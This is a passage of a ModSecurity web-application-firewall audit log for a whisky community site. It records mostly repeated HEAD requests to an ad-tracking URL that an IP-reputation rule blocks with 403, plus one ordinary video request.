Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273468204880 6367 (- - -)
Stopwatch2: 1789273468204880 6367; combined=4717, p1=264, p2=4033, p3=125, p4=11, p5=284, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3ca60241-Z--

--d4313b4e-A--
[13/Sep/2026:07:24:28.623765 +0300] aqYlfCsVWymXUono-eRROQAAABI 95.134.102.240 40294 127.0.0.1 7081
--d4313b4e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--d4313b4e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d4313b4e-E--

--d4313b4e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273468609200 14659 (- - -)
Stopwatch2: 1789273468609200 14659; combined=10763, p1=632, p2=9306, p3=172, p4=28, p5=625, sr=319, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d4313b4e-Z--

--fb953638-A--
[13/Sep/2026:07:24:56.927090 +0300] aqYlmEwu1RSkptiiNIXvtAAAAJQ 91.124.31.238 60936 127.0.0.1 7081
--fb953638-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--fb953638-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fb953638-E--

--fb953638-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273496914005 13132 (- - -)
Stopwatch2: 1789273496914005 13132; combined=7287, p1=1944, p2=4921, p3=85, p4=9, p5=327, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb953638-Z--

--ced28e45-A--
[13/Sep/2026:07:25:04.690832 +0300] aqYloEwu1RSkptiiNIXvtgAAAIk 95.134.102.137 60960 127.0.0.1 7081
--ced28e45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.137
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--ced28e45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ced28e45-E--

--ced28e45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273504684080 6804 (- - -)
Stopwatch2: 1789273504684080 6804; combined=5037, p1=285, p2=4322, p3=90, p4=6, p5=334, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ced28e45-Z--

--4714c738-A--
[13/Sep/2026:07:25:05.077294 +0300] aqYloWM7dE9KgIIOpQhhsQAAANg 151.243.174.234 60968 127.0.0.1 7081
--4714c738-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--4714c738-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4714c738-E--

--4714c738-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273505070609 6726 (- - -)
Stopwatch2: 1789273505070609 6726; combined=5005, p1=255, p2=4368, p3=80, p4=6, p5=296, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4714c738-Z--

--f6e59a1d-A--
[13/Sep/2026:07:25:05.434788 +0300] aqYloUwu1RSkptiiNIXvtwAAAIs 151.243.174.165 60974 127.0.0.1 7081
--f6e59a1d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f6e59a1d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f6e59a1d-E--

--f6e59a1d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273505428674 6153 (- - -)
Stopwatch2: 1789273505428674 6153; combined=4511, p1=197, p2=3946, p3=81, p4=8, p5=279, sr=79, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f6e59a1d-Z--

--c527e21c-A--
[13/Sep/2026:07:25:09.195509 +0300] aqYlpWM7dE9KgIIOpQhhswAAANE 95.134.102.141 48106 127.0.0.1 7081
--c527e21c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c527e21c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c527e21c-E--

--c527e21c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273509188337 7247 (- - -)
Stopwatch2: 1789273509188337 7247; combined=5252, p1=992, p2=3953, p3=65, p4=7, p5=235, sr=781, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c527e21c-Z--

--e7ff6312-A--
[13/Sep/2026:07:25:09.554207 +0300] aqYlpUwu1RSkptiiNIXvuAAAAJU 151.243.174.22 48120 127.0.0.1 7081
--e7ff6312-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e7ff6312-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e7ff6312-E--

--e7ff6312-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273509547834 6412 (- - -)
Stopwatch2: 1789273509547834 6412; combined=4778, p1=300, p2=4129, p3=79, p4=8, p5=262, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e7ff6312-Z--

--1d1acf3f-A--
[13/Sep/2026:07:25:09.915830 +0300] aqYlpWM7dE9KgIIOpQhhtAAAAM0 95.134.102.78 48130 127.0.0.1 7081
--1d1acf3f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1d1acf3f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1d1acf3f-E--

--1d1acf3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273509908506 7368 (- - -)
Stopwatch2: 1789273509908506 7368; combined=5621, p1=319, p2=4878, p3=85, p4=8, p5=330, sr=130, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1d1acf3f-Z--

--f14c044b-A--
[13/Sep/2026:07:26:04.743329 +0300] aqYl3GM7dE9KgIIOpQhhxwAAANU 151.243.174.201 34786 127.0.0.1 7081
--f14c044b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f14c044b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f14c044b-E--

--f14c044b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273564736110 7280 (- - -)
Stopwatch2: 1789273564736110 7280; combined=4714, p1=258, p2=4095, p3=73, p4=7, p5=280, sr=101, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f14c044b-Z--

--fedd7270-A--
[13/Sep/2026:07:26:05.138343 +0300] aqYl3WM7dE9KgIIOpQhhyAAAANM 95.134.102.135 34792 127.0.0.1 7081
--fedd7270-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--fedd7270-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fedd7270-E--

--fedd7270-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273565123074 15316 (- - -)
Stopwatch2: 1789273565123074 15316; combined=13707, p1=1636, p2=11688, p3=80, p4=8, p5=295, sr=181, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fedd7270-Z--

--c270613e-A--
[13/Sep/2026:07:26:05.962257 +0300] aqYl3WM7dE9KgIIOpQhhzQAAAM0 151.243.174.123 56768 127.0.0.1 7081
--c270613e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c270613e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c270613e-E--

--c270613e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273565956265 6048 (- - -)
Stopwatch2: 1789273565956265 6048; combined=4340, p1=320, p2=3634, p3=84, p4=7, p5=294, sr=102, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c270613e-Z--

--338b277e-A--
[13/Sep/2026:07:26:09.687578 +0300] aqYl4WM7dE9KgIIOpQhhzgAAANc 95.134.102.242 56788 127.0.0.1 7081
--338b277e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--338b277e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--338b277e-E--

--338b277e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273569680052 7612 (- - -)
Stopwatch2: 1789273569680052 7612; combined=5256, p1=974, p2=3928, p3=79, p4=7, p5=267, sr=107, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--338b277e-Z--

--03d7b418-A--
[13/Sep/2026:07:26:18.498720 +0300] aqYl6mM7dE9KgIIOpQhh0gAAAMo 151.243.174.201 38884 127.0.0.1 7081
--03d7b418-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--03d7b418-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--03d7b418-E--

--03d7b418-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273578488835 9924 (- - -)
Stopwatch2: 1789273578488835 9924; combined=7075, p1=2449, p2=4185, p3=87, p4=7, p5=346, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--03d7b418-Z--

--07017736-A--
[13/Sep/2026:07:26:18.907677 +0300] aqYl6kwu1RSkptiiNIXvxAAAAIs 151.243.174.27 38896 127.0.0.1 7081
--07017736-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.27
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--07017736-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--07017736-E--

--07017736-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273578900845 6883 (- - -)
Stopwatch2: 1789273578900845 6883; combined=4797, p1=258, p2=4130, p3=73, p4=7, p5=329, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--07017736-Z--

--3dbd9009-A--
[13/Sep/2026:07:26:19.247571 +0300] aqYl6zTJ6xTvcJoem7f2bAAAAEQ 95.134.102.249 38912 127.0.0.1 7081
--3dbd9009-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--3dbd9009-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3dbd9009-E--

--3dbd9009-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273579241797 5840 (- - -)
Stopwatch2: 1789273579241797 5840; combined=4274, p1=227, p2=3666, p3=91, p4=8, p5=281, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3dbd9009-Z--

--d58c2c4d-A--
[13/Sep/2026:07:26:30.080712 +0300] aqYl9WM7dE9KgIIOpQhh1wAAAME 86.120.238.95 39516 127.0.0.1 7081
--d58c2c4d-B--
GET /img/videos/video-whiskey.mp4 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 86.120.238.95
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua-platform: "Android"
Accept-Encoding: identity;q=1, *;q=0
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"
sec-ch-ua-mobile: ?1
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: video
Referer: https://singlemaltcommunity.com/?redirect=%2Fro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984%26gclid%3DEAIaIQobChMI14aSt9vqlgMV09UCBx2Qwg9hEAEYASAAEgIZ2fD_BwE
Accept-Language: hu-HU,hu;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: csrfToken=VHzkQ%2FjdPioUerwjVMo8E2QzM2QyZjhjNDA1YjEwZDE2ZmE3Mjk4ZTAwODRlYWRjZjYxYjYyMWE%3D; CookieConsent=-3; _gcl_au=1.1.357296221.1789273567; _ga=GA1.1.1602539096.1789273568; _ga_5EFMKTFY44=GS2.1.s1789273568$o1$g0$t1789273569$j59$l0$h2103200229
Range: bytes=0-

--d58c2c4d-F--
HTTP/1.1 206 Partial Content
Last-Modified: Thu, 11 Jun 2026 16:35:31 GMT
ETag: "12d9812-653fcf2df1dce"
Accept-Ranges: bytes
Content-Length: 19765266
Content-Range: bytes 0-19765265/19765266
Content-Type: video/mp4

--d58c2c4d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:206"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=5655, p1=326, p2=5329, p3=0, p4=0, p5=0, sr=224, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=5655, p1=326, p2=5329, p3=0, p4=0, p5=0, sr=224, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/webroot/img/videos/video-whiskey.mp4"] [unique_id "aqYl9WM7dE9KgIIOpQhh1wAAAME"]
Stopwatch: 1789273589984926 95873 (- - -)
Stopwatch2: 1789273589984926 95873; combined=6050, p1=326, p2=5329, p3=0, p4=0, p5=395, sr=224, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "1789273568" "-"
Engine-Mode: "ENABLED"

--d58c2c4d-Z--

--6f88003b-A--
[13/Sep/2026:07:26:35.085988 +0300] aqYl@2M7dE9KgIIOpQhh2AAAAMM 95.134.102.78 39522 127.0.0.1 7081
--6f88003b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6f88003b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6f88003b-E--

--6f88003b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595078920 7107 (- - -)
Stopwatch2: 1789273595078920 7107; combined=4310, p1=310, p2=3635, p3=68, p4=7, p5=289, sr=144, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6f88003b-Z--

--2e348c7e-A--
[13/Sep/2026:07:26:35.510762 +0300] aqYl@2M7dE9KgIIOpQhh2QAAANE 95.134.102.157 39536 127.0.0.1 7081
--2e348c7e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
